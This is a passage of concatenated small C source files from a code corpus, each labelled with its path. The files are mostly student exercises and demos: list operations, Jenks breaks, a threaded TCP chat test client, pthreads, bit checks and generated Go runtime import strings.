k1=read(ioptr[1], stringa, nmax); printf("Letto %d caratteri da ioptr[1]\n", k1); if(k1 > 0) write(ioptr[0], stringa, k1); */ sleep(1); } }
the_stack_data/744460.c
/* Name: 6-4.c Purpose: Exercise 6-4. Author: NiceMan1337 Date: 09.04.2022 */ #include <stdio.h> int main(void) { /* (a) while (i < 10) {…} (b) for (; i < 10;) {…} (c) do {…} while (1 < 20); */ return 0; } /*Solution: C because do loop always does something, where while and for can not even start.*/
the_stack_data/161079623.c
#include<stdio.h> #include<stdlib.h> #define MAX 20 typedef struct SeqList{ int *data; int length; }*SeqList; SeqList init(int size){ SeqList L = malloc(sizeof(struct SeqList)); L->data = malloc(sizeof(int)*size); L->length = 0; return L; } void insert(SeqList L,int i,int e){ //insert e in i_th position int j = 0; for(j=i-1;j<L->length;j++){ L->data[j+1] = L->data[j]; } L->data[i-1] = e; L->length++; } void deleteList(SeqList L,int i){ //delete the i_th element. int e = L->data[i-1]; int j=i; for(j=i;j<L->length;j++){ L->data[j-1] = L->data[j]; } L->length--; } void printList(SeqList L){ int j = 0; for(j=0;j<L->length;j++){ printf("%d ",L->data[j]); } } int delete_between_s_t(SeqList L,int s,int t){ //delete element,where s <= elem <= t int i,j; if(s>=t||L->length==0){ return 0; } for(i=0;i<L->length&&L->data[i]<s;i++); if(i>=L->length){ return 0; } for(j=i;j<L->length&&L->data[j]<=t;j++); while(j<L->length){ L->data[i] = L->data[j]; i++; j++; } L->length = i; return 1; } void delete_repeat(SeqList L){ // the SeqList is ordered. int i,j; for(i=0,j=1;j<L->length;j++){ if(L->data[i]!=L->data[j]){ i++; L->data[i] = L->data[j]; } } L->length = i+1; } SeqList merge(SeqList a,SeqList b){ SeqList result = malloc(sizeof(struct SeqList)); result->data = malloc(sizeof(int)*(a->length + b->length)); int i=0; int j=0,k=0; while(j<a->length && k<b->length){ if(a->data[j]>b->data[k] && k<b->length){ result->data[i] = b->data[k]; k++; i++; } if(a->data[j]<b->data[k] && j<a->length){ result->data[i] = a->data[j]; j++; i++; } } while(j<a->length){ result->data[i] = a->data[j]; i++; j++; } while(k<b->length){ result->data[i] = b->data[k]; i++; k++; } result->length = i; return result; } // if find,return index,else return -1 int binary_search(SeqList L,int x){ int left = 0; int right = L->length-1; int mid = (left+right)/2; int found = 0; while(L->data[mid]!=x && left!=mid){ mid = (left+right)/2; if(L->data[mid]>x){ right = mid-1; } if(L->data[mid]<x){ left = mid+1; } } if(L->data[mid]==x){ found = 1; return mid; }else{ found = -1; return found; } } void exchange_insert(SeqList L,int x){ // binary search int found_x = binary_search(L,x); if(found_x!=-1){ // find ! int temp = L->data[found_x]; L->data[found_x] = L->data[found_x+1]; L->data[found_x+1] = temp; }else{ // not found int j=0; for(j=0;x>L->data[j] && j<L->length;j++); insert(L,j+1,x); } } void swap(int *a,int *b){ int temp; temp = *a; *a = *b; *b = temp; } int main(){ SeqList L = init(20); int i = 0; insert(L,1,2); insert(L,2,3); insert(L,3,4); insert(L,4,278); SeqList N = init(20); insert(N,1,0); insert(N,2,1); insert(N,3,15); //deleteList(L,2); //int e = delete_between_s_t(L,2,3); //delete_repeat(L); //exchange_insert(L,10); //printList(L); int a = 1,b = 2; swap(&a,&b); printf("%d\n",a); return 0; }
the_stack_data/143096.c
#include <stdlib.h> #include <float.h> #include <sys/types.h> int compare_doubles (const void *a, const void *b) { return (*(double *)a > *(double *)b) - (*(double *)a < *(double *)b); } static void JenksBreakValues(double *values, unsigned int nb_class, unsigned int length_array, double *breaks) { int i3, i4; unsigned int i=0, j=0, l=0, m=0, k = nb_class; double v, val, s1, s2, w; double *kclass = NULL; double **mat1 = (double **)malloc(length_array * sizeof(double*)), **mat2 = (double **)malloc(length_array * sizeof(double*)), *row = NULL; qsort(values, length_array, sizeof(double), compare_doubles); for (i = 0; i < length_array; i++) { row = (double *)malloc(k * sizeof(double)); for (j = 0; j < k; j++) { row[j] = 1.0; } mat1[i] = row; } for (i = 0; i < length_array; i++) { row = (double *)malloc(k * sizeof(double)); for (j = 0; j < k; j++) { row[j] = FLT_MAX; } mat2[i] = row; } v = 0; for (l = 2; l <= length_array; l++) { s1 = s2 = w = 0; for (m = 1; m <= l; m++) { i3 = l - m + 1; val = values[(i3-1)]; s2 += val * val; s1 += val; w++; v = s2 - (s1 * s1) / w; i4 = i3 - 1; if(i4) { for (j = 2; j <= k; j++) { if (mat2[l-1][j-1] >= (v + mat2[i4-1][j-2])) { mat1[l-1][j-1] = i3; mat2[l-1][j-1] = v + mat2[i4-1][j-2]; } } } } mat1[l-1][0] = 1; mat2[l-1][0] = v; } kclass = (double *)malloc(k * sizeof(double)); k = length_array; for (j = nb_class; j > 1; j--) { kclass[j - 2] = k = (int)(mat1[k-1][j-1]) - 1; } breaks[0] = values[0]; for (i = 1; i < nb_class; i++) { breaks[i] = values[(int)(kclass[i - 1]) - 1]; } breaks[nb_class] = values[(int)length_array-1]; for (i = 0; i < length_array; i++) { free(mat1[i]); free(mat2[i]); } free(mat1); free(mat2); free(kclass); }
the_stack_data/15763245.c
#include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #define MAX_SIZE 128 #define NUM_CLIENT 3 #define PTHREAD_STACK_MIN 16384 void *connection_handler(void *socket_desc); int main(int argc, char **args) { int socket_desc, new_socket, c, *new_sock, i; pthread_t sniffer_thread; if (argc < 2) { printf("Usage: ./cpchatterclient num_clients\n"); exit(0); } int num_clients = atoi(args[1]); pthread_attr_t attr; pthread_attr_init(&attr); int p_size = pthread_attr_setstacksize(&attr, PTHREAD_STACK_MIN * 2); for (i = 1; i <= num_clients; i++) { if (pthread_create(&sniffer_thread, &attr, connection_handler, (void *)i) < 0) { perror("could not create thread"); return 1; } //sleep(3); } pthread_exit(NULL); return 0; } void *connection_handler(void *threadid) { int threadnum = (int)threadid; int sock_desc; struct sockaddr_in serv_addr; char sbuff[MAX_SIZE], rbuff[MAX_SIZE]; if ((sock_desc = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Failed creating socket erro no - %d\n", sock_desc); pthread_exit(NULL); return 0; } bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = inet_addr("10.42.0.94"); serv_addr.sin_port = htons(12345); if (connect(sock_desc, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { printf("Failed to connect to server\n"); } int i; printf("Connected successfully client:%d\n", threadnum); while (1) { printf("For thread : %lu -> ", pthread_self()); //fgets(sbuff, MAX_SIZE , stdin); for (i = 0; i < MAX_SIZE - 2; i++) { sbuff[i] = 'A' + (random() % 26); } sbuff[MAX_SIZE - 2] = '-'; sbuff[MAX_SIZE - 1] = '\0'; write(sock_desc, sbuff, strlen(sbuff)); //send(sock_desc,sbuff,strlen(sbuff),0); //puts("writting to socket done.."); /*if(recv(sock_desc,rbuff,MAX_SIZE,0)==0) printf("Error"); else fputs(rbuff,stdout);*/ //sleep(2); i = read(sock_desc, rbuff, MAX_SIZE); //write(1, rbuff, i); printf("%s\n", rbuff); /*while ((i = read(sock_desc, rbuff, MAX_SIZE)) > 0) write(1, rbuff, i);*/ bzero(rbuff, MAX_SIZE); sleep(rand() % 2); } close(sock_desc); return 0; }
the_stack_data/182953959.c
#include <assert.h> int main() { int x[2]; *x = 1; *(x + 1) = 2; assert(*x == 1); assert(*(x + 1) == 2); return 0; }
the_stack_data/783660.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_strdup.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: bnidia <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/07/15 15:07:43 by bnidia #+# #+# */ /* Updated: 2021/07/16 21:19:07 by bnidia ### ########.fr */ /* */ /* ************************************************************************** */ #include <stdlib.h> char *ft_strdup(char *src) { int l; char *dest; l = 0; while (src[l]) l++; dest = malloc(sizeof(*src) * (l + 1)); if (dest == (void *) 0) return (((void *)0)); while (l >= 0) { dest[l] = src[l]; l--; } return (dest); }
the_stack_data/746933.c
// AUTO-GENERATED by mkbuiltin; DO NOT EDIT char *runtimeimport = "package runtime\n" "import runtime \"runtime\"\n" "func @\"\".new (@\"\".typ·2 *byte) (? *any)\n" "func @\"\".panicindex ()\n" "func @\"\".panicslice ()\n" "func @\"\".throwreturn ()\n" "func @\"\".throwinit ()\n" "func @\"\".panicwrap (? string, ? string, ? string)\n" "func @\"\".panic (? interface {})\n" "func @\"\".recover (? *int32) (? interface {})\n" "func @\"\".printbool (? bool)\n" "func @\"\".printfloat (? float64)\n" "func @\"\".printint (? int64)\n" "func @\"\".printuint (? uint64)\n" "func @\"\".printcomplex (? complex128)\n" "func @\"\".printstring (? string)\n" "func @\"\".printpointer (? any)\n" "func @\"\".printiface (? any)\n" "func @\"\".printeface (? any)\n" "func @\"\".printslice (? any)\n" "func @\"\".printnl ()\n" "func @\"\".printsp ()\n" "func @\"\".goprintf ()\n" "func @\"\".concatstring ()\n" "func @\"\".append ()\n" "func @\"\".appendslice (@\"\".typ·2 *byte, @\"\".x·3 any, @\"\".y·4 []any) (? any)\n" "func @\"\".appendstr (@\"\".typ·2 *byte, @\"\".x·3 []byte, @\"\".y·4 string) (? []byte)\n" "func @\"\".cmpstring (? string, ? string) (? int)\n" "func @\"\".eqstring (? string, ? string) (? bool)\n" "func @\"\".intstring (? int64) (? string)\n" "func @\"\".slicebytetostring (? []byte) (? string)\n" "func @\"\".slicerunetostring (? []rune) (? string)\n" "func @\"\".stringtoslicebyte (? string) (? []byte)\n" "func @\"\".stringtoslicerune (? string) (? []rune)\n" "func @\"\".stringiter (? string, ? int) (? int)\n" "func @\"\".stringiter2 (? string, ? int) (@\"\".retk·1 int, @\"\".retv·2 rune)\n" "func @\"\".copy (@\"\".to·2 any, @\"\".fr·3 any, @\"\".wid·4 uintptr) (? int)\n" "func @\"\".slicestringcopy (@\"\".to·2 any, @\"\".fr·3 any) (? int)\n" "func @\"\".typ2Itab (@\"\".typ·2 *byte, @\"\".typ2·3 *byte, @\"\".cache·4 **byte) (@\"\".ret·1 *byte)\n" "func @\"\".convI2E (@\"\".elem·2 any) (@\"\".ret·1 any)\n" "func @\"\".convI2I (@\"\".typ·2 *byte, @\"\".elem·3 any) (@\"\".ret·1 any)\n" "func @\"\".convT2E (@\"\".typ·2 *byte, @\"\".elem·3 any) (@\"\".ret·1 any)\n" "func @\"\".convT2I (@\"\".typ·2 *byte, @\"\".typ2·3 *byte, @\"\".cache·4 **byte, @\"\".elem·5 any) (@\"\".ret·1 any)\n" "func @\"\".assertE2E (@\"\".typ·2 *byte, @\"\".iface·3 any) (@\"\".ret·1 any)\n" "func @\"\".assertE2E2 (@\"\".typ·3 *byte, @\"\".iface·4 any) (@\"\".ret·1 any, @\"\".ok·2 bool)\n" "func @\"\".assertE2I (@\"\".typ·2 *byte, @\"\".iface·3 any) (@\"\".ret·1 any)\n" "func @\"\".assertE2I2 (@\"\".typ·3 *byte, @\"\".iface·4 any) (@\"\".ret·1 any, @\"\".ok·2 bool)\n" "func @\"\".assertE2T (@\"\".typ·2 *byte, @\"\".iface·3 any) (@\"\".ret·1 any)\n" "func @\"\".assertE2T2 (@\"\".typ·3 *byte, @\"\".iface·4 any) (@\"\".ret·1 any, @\"\".ok·2 bool)\n" "func @\"\".assertI2E (@\"\".typ·2 *byte, @\"\".iface·3 any) (@\"\".ret·1 any)\n" "func @\"\".assertI2E2 (@\"\".typ·3 *byte, @\"\".iface·4 any) (@\"\".ret·1 any, @\"\".ok·2 bool)\n" "func @\"\".assertI2I (@\"\".typ·2 *byte, @\"\".iface·3 any) (@\"\".ret·1 any)\n" "func @\"\".assertI2I2 (@\"\".typ·3 *byte, @\"\".iface·4 any) (@\"\".ret·1 any, @\"\".ok·2 bool)\n" "func @\"\".assertI2T (@\"\".typ·2 *byte, @\"\".iface·3 any) (@\"\".ret·1 any)\n" "func @\"\".assertI2T2 (@\"\".typ·3 *byte, @\"\".iface·4 any) (@\"\".ret·1 any, @\"\".ok·2 bool)\n" "func @\"\".assertI2TOK (@\"\".typ·2 *byte, @\"\".iface·3 any) (@\"\".ok·1 bool)\n" "func @\"\".assertE2TOK (@\"\".typ·2 *byte, @\"\".iface·3 any) (@\"\".ok·1 bool)\n" "func @\"\".ifaceeq (@\"\".i1·2 any, @\"\".i2·3 any) (@\"\".ret·1 bool)\n" "func @\"\".efaceeq (@\"\".i1·2 any, @\"\".i2·3 any) (@\"\".ret·1 bool)\n" "func @\"\".ifacethash (@\"\".i1·2 any) (@\"\".ret·1 uint32)\n" "func @\"\".efacethash (@\"\".i1·2 any) (@\"\".ret·1 uint32)\n" "func @\"\".equal (@\"\".typ·2 *byte, @\"\".x1·3 any, @\"\".x2·4 any) (@\"\".ret·1 bool)\n" "func @\"\".makemap (@\"\".mapType·2 *byte, @\"\".hint·3 int64) (@\"\".hmap·1 map[any]any)\n" "func @\"\".mapaccess1 (@\"\".mapType·2 *byte, @\"\".hmap·3 map[any]any, @\"\".key·4 any) (@\"\".val·1 any)\n" "func @\"\".mapaccess1_fast32 (@\"\".mapType·2 *byte, @\"\".hmap·3 map[any]any, @\"\".key·4 any) (@\"\".val·1 *any)\n" "func @\"\".mapaccess1_fast64 (@\"\".mapType·2 *byte, @\"\".hmap·3 map[any]any, @\"\".key·4 any) (@\"\".val·1 *any)\n" "func @\"\".mapaccess1_faststr (@\"\".mapType·2 *byte, @\"\".hmap·3 map[any]any, @\"\".key·4 any) (@\"\".val·1 *any)\n" "func @\"\".mapaccess2 (@\"\".mapType·3 *byte, @\"\".hmap·4 map[any]any, @\"\".key·5 any) (@\"\".val·1 any, @\"\".pres·2 bool)\n" "func @\"\".mapaccess2_fast32 (@\"\".mapType·3 *byte, @\"\".hmap·4 map[any]any, @\"\".key·5 any) (@\"\".val·1 *any, @\"\".pres·2 bool)\n" "func @\"\".mapaccess2_fast64 (@\"\".mapType·3 *byte, @\"\".hmap·4 map[any]any, @\"\".key·5 any) (@\"\".val·1 *any, @\"\".pres·2 bool)\n" "func @\"\".mapaccess2_faststr (@\"\".mapType·3 *byte, @\"\".hmap·4 map[any]any, @\"\".key·5 any) (@\"\".val·1 *any, @\"\".pres·2 bool)\n" "func @\"\".mapassign1 (@\"\".mapType·1 *byte, @\"\".hmap·2 map[any]any, @\"\".key·3 any, @\"\".val·4 any)\n" "func @\"\".mapiterinit (@\"\".mapType·1 *byte, @\"\".hmap·2 map[any]any, @\"\".hiter·3 *any)\n" "func @\"\".mapdelete (@\"\".mapType·1 *byte, @\"\".hmap·2 map[any]any, @\"\".key·3 any)\n" "func @\"\".mapiternext (@\"\".hiter·1 *any)\n" "func @\"\".mapiter1 (@\"\".hiter·2 *any) (@\"\".key·1 any)\n" "func @\"\".mapiter2 (@\"\".hiter·3 *any) (@\"\".key·1 any, @\"\".val·2 any)\n" "func @\"\".makechan (@\"\".chanType·2 *byte, @\"\".hint·3 int64) (@\"\".hchan·1 chan any)\n" "func @\"\".chanrecv1 (@\"\".chanType·2 *byte, @\"\".hchan·3 <-chan any) (@\"\".elem·1 any)\n" "func @\"\".chanrecv2 (@\"\".chanType·3 *byte, @\"\".hchan·4 <-chan any) (@\"\".elem·1 any, @\"\".received·2 bool)\n" "func @\"\".chansend1 (@\"\".chanType·1 *byte, @\"\".hchan·2 chan<- any, @\"\".elem·3 any)\n" "func @\"\".closechan (@\"\".hchan·1 any)\n" "func @\"\".selectnbsend (@\"\".chanType·2 *byte, @\"\".hchan·3 chan<- any, @\"\".elem·4 any) (? bool)\n" "func @\"\".selectnbrecv (@\"\".chanType·2 *byte, @\"\".elem·3 *any, @\"\".hchan·4 <-chan any) (? bool)\n" "func @\"\".selectnbrecv2 (@\"\".chanType·2 *byte, @\"\".elem·3 *any, @\"\".received·4 *bool, @\"\".hchan·5 <-chan any) (? bool)\n" "func @\"\".newselect (@\"\".size·2 int32) (@\"\".sel·1 *byte)\n" "func @\"\".selectsend (@\"\".sel·2 *byte, @\"\".hchan·3 chan<- any, @\"\".elem·4 *any) (@\"\".selected·1 bool)\n" "func @\"\".selectrecv (@\"\".sel·2 *byte, @\"\".hchan·3 <-chan any, @\"\".elem·4 *any) (@\"\".selected·1 bool)\n" "func @\"\".selectrecv2 (@\"\".sel·2 *byte, @\"\".hchan·3 <-chan any, @\"\".elem·4 *any, @\"\".received·5 *bool) (@\"\".selected·1 bool)\n" "func @\"\".selectdefault (@\"\".sel·2 *byte) (@\"\".selected·1 bool)\n" "func @\"\".selectgo (@\"\".sel·1 *byte)\n" "func @\"\".block ()\n" "func @\"\".makeslice (@\"\".typ·2 *byte, @\"\".nel·3 int64, @\"\".cap·4 int64) (@\"\".ary·1 []any)\n" "func @\"\".growslice (@\"\".typ·2 *byte, @\"\".old·3 []any, @\"\".n·4 int64) (@\"\".ary·1 []any)\n" "func @\"\".memequal (@\"\".eq·1 *bool, @\"\".size·2 uintptr, @\"\".x·3 *any, @\"\".y·4 *any)\n" "func @\"\".memequal8 (@\"\".eq·1 *bool, @\"\".size·2 uintptr, @\"\".x·3 *any, @\"\".y·4 *any)\n" "func @\"\".memequal16 (@\"\".eq·1 *bool, @\"\".size·2 uintptr, @\"\".x·3 *any, @\"\".y·4 *any)\n" "func @\"\".memequal32 (@\"\".eq·1 *bool, @\"\".size·2 uintptr, @\"\".x·3 *any, @\"\".y·4 *any)\n" "func @\"\".memequal64 (@\"\".eq·1 *bool, @\"\".size·2 uintptr, @\"\".x·3 *any, @\"\".y·4 *any)\n" "func @\"\".memequal128 (@\"\".eq·1 *bool, @\"\".size·2 uintptr, @\"\".x·3 *any, @\"\".y·4 *any)\n" "func @\"\".int64div (? int64, ? int64) (? int64)\n" "func @\"\".uint64div (? uint64, ? uint64) (? uint64)\n" "func @\"\".int64mod (? int64, ? int64) (? int64)\n" "func @\"\".uint64mod (? uint64, ? uint64) (? uint64)\n" "func @\"\".float64toint64 (? float64) (? int64)\n" "func @\"\".float64touint64 (? float64) (? uint64)\n" "func @\"\".int64tofloat64 (? int64) (? float64)\n" "func @\"\".uint64tofloat64 (? uint64) (? float64)\n" "func @\"\".complex128div (@\"\".num·2 complex128, @\"\".den·3 complex128) (@\"\".quo·1 complex128)\n" "func @\"\".racefuncenter (? uintptr)\n" "func @\"\".racefuncexit ()\n" "func @\"\".raceread (? uintptr)\n" "func @\"\".racewrite (? uintptr)\n" "func @\"\".racereadrange (@\"\".addr·1 uintptr, @\"\".size·2 uintptr)\n" "func @\"\".racewriterange (@\"\".addr·1 uintptr, @\"\".size·2 uintptr)\n" "\n" "$$\n"; char *unsafeimport = "package unsafe\n" "import runtime \"runtime\"\n" "type @\"\".Pointer uintptr\n" "func @\"\".Offsetof (? any) (? uintptr)\n" "func @\"\".Sizeof (? any) (? uintptr)\n" "func @\"\".Alignof (? any) (? uintptr)\n" "\n" "$$\n";
the_stack_data/234519450.c
#include <stdio.h> #include <stdlib.h> //size_t maxSeq(int * array, size_t n); int max(int a, int b){ return a>b?a:b; } size_t maxSeq(int * array, size_t n){ if (n < 1) return 0; int i = 0; size_t currentMaxLength = 0; size_t returnMaxLength = 0; int * p = array; while (i < n-1){ if (*(p+i) < *(p+i+1)){ //strictly increasing currentMaxLength += 1; returnMaxLength = max(currentMaxLength,returnMaxLength); } else { currentMaxLength = 0; } i++; } return returnMaxLength+1; } //倒序和全等返回值有问题 int main(){ //test case definition part int t1[] = {1, 2, 1, 3, 5, 7, 2, 4, 6, 9}; int n1 = sizeof(t1)/sizeof(t1[0]); int t2[] = {1,1,1}; int n2 = sizeof(t2)/sizeof(t2[0]); int t3[] = {7,6,5,4,3,2}; int n3 = sizeof(t3)/sizeof(t3[0]); int t4[] = {1,0,-1,-2,-3}; int n4 = sizeof(t4)/sizeof(t4[0]); //drew given int t5[] = { 77, 33, 19, 99, 42, 6, 27, 4}; int n5 = sizeof(t5)/sizeof(t5[0]); int t6[] = { -3, -42, -99, -1000, -999, -88, -77}; int n6 = sizeof(t6)/sizeof(t6[0]); int t7[] = { 425, 59, -3, 77, 0, 36}; int n7 = sizeof(t7)/sizeof(t7[0]); //my other thoughts int t8[0] = {}; int n8 = sizeof(t8)/sizeof(t8[0]); //printf("The size of t8 static array is %d", n8); int t9[] = {1,2,3,4,5,0,1,2,3,4,5,6}; int n9 = sizeof(t9)/sizeof(t9[0]); //printf("The size of t1 static array is %d", n1); printf("start\n"); //test ongoing part size_t a; a = maxSeq(t1,n1); if (a != 4) exit(EXIT_FAILURE); printf("end"); a = maxSeq(t2,n2); if (a != 1) exit(EXIT_FAILURE); //printf("end"); a = maxSeq(t3,n3); if (a != 2) exit(EXIT_FAILURE); a = maxSeq(t4,n4); if (a != 1) exit(EXIT_FAILURE); a = maxSeq(t5,n5); if (a != 2) exit(EXIT_FAILURE); a = maxSeq(t6,n6); if (a != 4) exit(EXIT_FAILURE); a = maxSeq(t7,n7); if (a != 2) exit(EXIT_FAILURE); a = maxSeq(t8,n8); if (a != 0) exit(EXIT_FAILURE); a = maxSeq(t9,n9); if (a != 7) exit(EXIT_FAILURE); printf("end"); return EXIT_SUCCESS; //exit(EXIT_FAILURE); }
the_stack_data/190767053.c
/* Demonstration of the function fgetc() by reading the contents of a file character by character. */ #include <stdio.h> #include <stdlib.h> main() { FILE *fp ; char char_in ; if ( (fp = fopen("file.txt", "r")) == NULL ) puts( "Error in opening file.txt" ) ; else { while( (char_in = fgetc(fp)) != EOF ) putchar( char_in ) ; fclose( fp ) ; } }
the_stack_data/129787.c
/////////////////////////////////////////////////////////// // // Function Name : CheckBit() // Description : Accept Number From User, And Check Whether 5th Bit Is ON Or Not // Input : Integer // Output : Integer // Author : Prasad Dangare // Date : 25 Mar 2021 // /////////////////////////////////////////////////////////// #include<stdio.h> #include<stdbool.h> /* iNo 0 0 0 1 0 0 1 0 iMask 0 0 0 1 0 0 0 0 & ____________________________________________ iResult 0 0 0 1 0 0 0 0 input 18 with 5th bit is on */ bool CheckBit(unsigned int iNo) { unsigned int iMask = 0x00000010; // check whether 5 bit is on or off unsigned int iResult = 0; iResult = iNo & iMask; if(iResult == iMask) { return true; } else { return false; } } int main() { unsigned int iValue = 0; bool bRet; printf("Enter number\n"); // 18, 2 scanf("%u",&iValue); bRet = CheckBit(iValue); if(bRet == true) { printf("5th bit is on\n"); // 18 } else { printf("5th bit is off\n"); // 2 } return 0; }
the_stack_data/1118952.c
#include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #define THREADS 8 void* some_action(void * data) { char * msg = (char * ) data; //get the identity of the thread pthread_t self = pthread_self(); //initialize the random number generator srand(self); printf("Thread %lxd started: \'%s\'\n", self, msg); //simulate the heavi work long delay = rand() % 5 + 1; sleep(delay); printf("Thread %lxd finished\n", self); //return the value of the thread return (void * ) delay; } //compile gcc pthread.c -lpthread int main(void) { //declare an array of threads pthread_t threads[THREADS]; char data[THREADS][20]; printf("main() started...\n"); for (int i = 0; i < THREADS; i++) { sprintf(data[i], "Thread #%d!", i + 1); //data[i] contains the data for every single thread //create threads //first argument is the pointer to pthread_t //pass &threads[i] or threads + 1 is equal pthread_create(threads + i, NULL, some_action, data[i]); } for (int i = 0; i < THREADS; i++) { long retval; //wait for all the threads to complete and print their results (the delay times) pthread_join(threads[i], (void * ) & retval); //retval is the delay passed to sleep in thread funciton printf("Thread %d joined: %ld\n", i + 1, retval); } return 0; }